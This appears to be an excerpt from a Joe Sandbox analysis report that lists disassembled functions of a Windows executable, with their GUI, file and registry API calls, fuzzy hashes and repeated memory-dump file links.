Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CaptureRect$Invalidate$ClientRelease
String ID:
API String ID: 3559558096-0
Opcode ID: 0edb095a5db58665efc5b1a0bf644b6c460811983a70c7f51201640421269706
Instruction ID: e8acc0af0a4dd163a3ddbee43da5a9be5d6a98b8153f2b73fa57ef719381fb30
Opcode Fuzzy Hash: 0edb095a5db58665efc5b1a0bf644b6c460811983a70c7f51201640421269706
Instruction Fuzzy Hash: B9117075500711AFD720EF68DC48F9B7BA8BB49704F048A2DF596C7260DB34E844CB68

Function 00416DF0 Relevance: 10.8, APIs: 7, Instructions: 268windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 00416E2D
GetParent.USER32(?), ref: 00416E3F
SendMessageA.USER32(?,0000130B,00000000,00000000), ref: 00416E67
GetWindowRect.USER32(?,?), ref: 00416EF1
InvalidateRect.USER32(?,?,00000001,?), ref: 00416F14
GetWindowRect.USER32(?,?), ref: 004170DC
InvalidateRect.USER32(?,?,00000001,?), ref: 004170FD

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Window$Invalidate$MessageParentSend
String ID:
API String ID: 236041146-0
Opcode ID: e54667e6d7cfe19a07e20240edf3df031c1212d82a7be798ecd17a51dd2c67bf
Instruction ID: bc0e2210aa49ee5ba1df181a506e0331279066dee6645ac584144257f536ce1c
Opcode Fuzzy Hash: e54667e6d7cfe19a07e20240edf3df031c1212d82a7be798ecd17a51dd2c67bf
Instruction Fuzzy Hash: 149106716443059BC720EF25CC41BAB77F8AF84718F05452EFD459B382DB38E9868B9A

Function 0044BBF0 Relevance: 10.8, APIs: 7, Instructions: 260windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0044BC1D
GetParent.USER32(?), ref: 0044BC29
GetClientRect.USER32(?,?), ref: 0044BC3A

Part of subcall function 004985C5: ClientToScreen.USER32(0040CCE8,?), ref: 004985D9
Part of subcall function 004985C5: ClientToScreen.USER32(0040CCE8,?), ref: 004985E2

GetParent.USER32(?), ref: 0044BC4C

Part of subcall function 00498589: ScreenToClient.USER32(?,76087310), ref: 0049859D
Part of subcall function 00498589: ScreenToClient.USER32(?,76087318), ref: 004985A6

Part of subcall function 0049871B: __EH_prolog.LIBCMT ref: 00498720
Part of subcall function 0049871B: GetDC.USER32(?), ref: 00498749

SendMessageA.USER32 ref: 0044BC7F

Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F

GetTextExtentPoint32A.GDI32(?,004C3268,00000001,?), ref: 0044BCAC
EqualRect.USER32(?,?), ref: 0044BE6A

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Client$Screen$Rect$ObjectParentSelect$EqualExtentH_prologMessagePoint32SendText
String ID:
API String ID: 98060165-0
Opcode ID: cab7e7fbb99e59ee33ed4be0b85a49e37ceb2929da20f05029fbe64c4447e21c
Instruction ID: f7bd2997cee3617c0424afe6966cf05ba3f4d4db64b5cef27f96aa4160c6267b
Opcode Fuzzy Hash: cab7e7fbb99e59ee33ed4be0b85a49e37ceb2929da20f05029fbe64c4447e21c
Instruction Fuzzy Hash: 9A919FB16087019FD718CF28C881A6BBBE5EBC8704F144A2EF596C3351DB78E9058B96

Function 0048E94D Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 241fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000001,80000000,?,0000000C,00000001,00000080,00000000,?,00000000,00000000), ref: 0048EB00
GetLastError.KERNEL32 ref: 0048EB0C
GetFileType.KERNEL32(00000000), ref: 0048EB21
CloseHandle.KERNEL32(00000000), ref: 0048EB2C

Strings

H, xrefs: 0048EB73
@, xrefs: 0048EB39

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastType
String ID: @$H
API String ID: 1809617866-104103126
Opcode ID: 1438cde6f6b67641c254d06653955d8c06d69722d52147473dc895caada07999
Instruction ID: 661673362a0329580a213918504c2cb61a5d4407e5a0c27325fce1bb70bd245b
Opcode Fuzzy Hash: 1438cde6f6b67641c254d06653955d8c06d69722d52147473dc895caada07999
Instruction Fuzzy Hash: 588148718042499AEF24BF6ACC447BF7B60AF01724F144E1BE9616B2D1C3BC9D45874E

Function 004295D0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

SetRect.USER32(?,00000000,00000032,00000032,?), ref: 004296B9
OffsetRect.USER32(?,?,?), ref: 004296C6
IntersectRect.USER32(?,?,?), ref: 004296E2
IsRectEmpty.USER32(?), ref: 004296ED
OffsetRect.USER32(?,?,?), ref: 0042972A

Strings

2, xrefs: 00429676

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Offset$EmptyIntersect
String ID: 2
API String ID: 765610062-450215437
Opcode ID: 0ced3cef6c1854f1e0a2d37479c1252133021ec5ce1f77215c678a388d5410bd
Instruction ID: ad090a2ca5e854a70e7e3ea4b2cbc70a8fdc682c35107ab29079ad60a85c75f2
Opcode Fuzzy Hash: 0ced3cef6c1854f1e0a2d37479c1252133021ec5ce1f77215c678a388d5410bd
Instruction Fuzzy Hash: A06115756083419FD718CF29D88496BBBE9FBC8344F548A2EF58987320D734E905CB56

Function 0049A46D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000019F,00000000,00000000), ref: 0049A491
GetParent.USER32(?), ref: 0049A498

Part of subcall function 00495FC7: GetWindowLongA.USER32(?,000000F0), ref: 00495FD3

SendMessageA.USER32(?,00000187,00000000,00000000), ref: 0049A4EB
SendMessageA.USER32(0000AC84,00000111,?,?), ref: 0049A53C
SendMessageA.USER32(?,00000185,00000000,00000000), ref: 0049A5C7

Strings

, xrefs: 0049A46E

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$LongParentWindow
String ID:
API String ID: 779260966-3916222277
Opcode ID: 8c4ff1882fa6384aa4319869433268e75a7acb627c7f45bbca696edea0fcda06
Instruction ID: efac35096b81773b04dcb5a7bc175df0639872e40f415570526eb435f48e2c2f
Opcode Fuzzy Hash: 8c4ff1882fa6384aa4319869433268e75a7acb627c7f45bbca696edea0fcda06
Instruction Fuzzy Hash: D131C6703007147FCE247E768C8593F7EEDEB85758B12493EF542C2291DA29DC1586EA

Function 00495967 Relevance: 10.6, APIs: 7, Instructions: 122windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0049599B
PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 004959C4
UpdateWindow.USER32(?), ref: 004959E0
SendMessageA.USER32(?,00000121,00000000,?), ref: 00495A06
SendMessageA.USER32(?,0000036A,00000000,00000001), ref: 00495A25
UpdateWindow.USER32(?), ref: 00495A68
PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00495A9B

Part of subcall function 00495FC7: GetWindowLongA.USER32(?,000000F0), ref: 00495FD3

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 721a56e11905d21b0b4bfac9dc6d762480e7ba4d90bcec2fcb9b4a8c593998ac
Instruction ID: 35d923d3260cb4cdd1d62cee82050d6affa1646497b530ea23a6da2e67d150d3
Opcode Fuzzy Hash: 721a56e11905d21b0b4bfac9dc6d762480e7ba4d90bcec2fcb9b4a8c593998ac
Instruction Fuzzy Hash: 8E419230604B419FDB229F269884A1FBFE4EFC5B54F240A3EF48286251D779C945CB9A

Function 0049A1BE Relevance: 10.6, APIs: 7, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0049B8E2: __EH_prolog.LIBCMT ref: 0049B8E7

Part of subcall function 00495FC7: GetWindowLongA.USER32(?,000000F0), ref: 00495FD3

SendMessageA.USER32(?,000001A1,00000000,00000000), ref: 0049A207
SendMessageA.USER32(?,0000018B,00000000,00000000), ref: 0049A216
SendMessageA.USER32(?,0000018E,00000000,00000000), ref: 0049A22F
SendMessageA.USER32(?,0000018E,00000000,00000000), ref: 0049A257
SendMessageA.USER32(?,0000018B,00000000,00000000), ref: 0049A266
SendMessageA.USER32(?,00000198,?,?), ref: 0049A27C
PtInRect.USER32(?,000000FF,?), ref: 0049A288

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$H_prologLongRectWindow
String ID:
API String ID: 2846605207-0
Opcode ID: fd9b7eedd8d32e1a261f358265c63c596ae0b40c52304774a0dc013aa9300e0b
Instruction ID: 566cde8a471cd380e70ab28b990b03a746af0e94092d4a978f18965d1103ce32
Opcode Fuzzy Hash: fd9b7eedd8d32e1a261f358265c63c596ae0b40c52304774a0dc013aa9300e0b
Instruction Fuzzy Hash: A7312770A0020DFFDF10EF95CC81DAEBBB9EF44348B20846AE511A72A0D735AE169B54

Function 00496348 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85stringtimeCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,?,00496332,?), ref: 00496372
GetFileTime.KERNEL32(00000000,2cI,?,?,?,?,?,?,?,?,?,00496332,?), ref: 00496393
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00496332,?), ref: 004963A2
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,00496332,?), ref: 004963C3

Strings

2cI, xrefs: 00496350, 004963D5, 004963E6, 004963F8, 0049635D
2cI, xrefs: 0049638E, 004963D0, 00496391, 004963D4

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: File$AttributesSizeTimelstrcpyn
String ID: 2cI$2cI
API String ID: 1499663573-813491214
Opcode ID: 7943ab10984bbcef8e40770cd85527bb5ffdcfd6a1ca73f17e0cc91edf82e46f
Instruction ID: 5a6eb99a53f7d4f8d375ff5a5ed1f1aa747b5fc333572c5149290656d408c709
Opcode Fuzzy Hash: 7943ab10984bbcef8e40770cd85527bb5ffdcfd6a1ca73f17e0cc91edf82e46f
Instruction Fuzzy Hash: C0318F72500605AFDB20DFA0C885FABBBF8BB14310F104A3EE552D7690E774A985CB98

Function 0049C5CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?,?,00000000), ref: 0049C5FB
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 0049C61E
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 0049C63D
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0049C64D
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0049C657

Strings

software, xrefs: 0049C5E5

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 85186c031de4d43c42eef04bb6b2f8c1b7c5295ca5283330a53d299b3ca960f8
Instruction ID: de9cc4a86fd265a2d80c5e0a2ca2718a1b359ce1b7e927711ff62296af32f23d
Opcode Fuzzy Hash: 85186c031de4d43c42eef04bb6b2f8c1b7c5295ca5283330a53d299b3ca960f8
Instruction Fuzzy Hash: 4D11E676D00158FBDB11DB9ACD84DEFFFBCEF86744F1040AAA504A2121D2705E41DBA4

Function 0047FF0A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 61stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 0047FF48
GetSystemMetrics.USER32(00000000), ref: 0047FF60
GetSystemMetrics.USER32(00000001), ref: 0047FF67
lstrcpyA.KERNEL32(?,DISPLAY), ref: 0047FF8B

Strings

DISPLAY, xrefs: 0047FF85
B, xrefs: 0047FF29

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: System$Metrics$InfoParameterslstrcpy
String ID: B$DISPLAY
API String ID: 1409579217-3316187204
Opcode ID: a87494d906256de3433956aaa2ba17c6495930c9caba465c346396a6b872f0a7
Instruction ID: 8467ed6a6ae36f842bfb65c516726bbf105d6517628dc016bef0567214f44d39
Opcode Fuzzy Hash: a87494d906256de3433956aaa2ba17c6495930c9caba465c346396a6b872f0a7
Instruction Fuzzy Hash: 25119172600224AFCB11DF648C84ADBBFA8EF0A754B048073E809DE152DA75D544CBA9

Function 00497CBA Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000F), ref: 00497CC6
GetSysColor.USER32(00000010), ref: 00497CCD
GetSysColor.USER32(00000014), ref: 00497CD4
GetSysColor.USER32(00000012), ref: 00497CDB
GetSysColor.USER32(00000006), ref: 00497CE2
GetSysColorBrush.USER32(0000000F), ref: 00497CEF
GetSysColorBrush.USER32(00000006), ref: 00497CF6

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: 543addeddcc34a236dd7761b4b7f7fba4d893ed4bb1e93ee94811d4b35cdbfd7
Instruction ID: 7f9caaee45944841faa6c3aa82ef68f09c4a9c94d5c4dd4e4cc50902d0fcc655
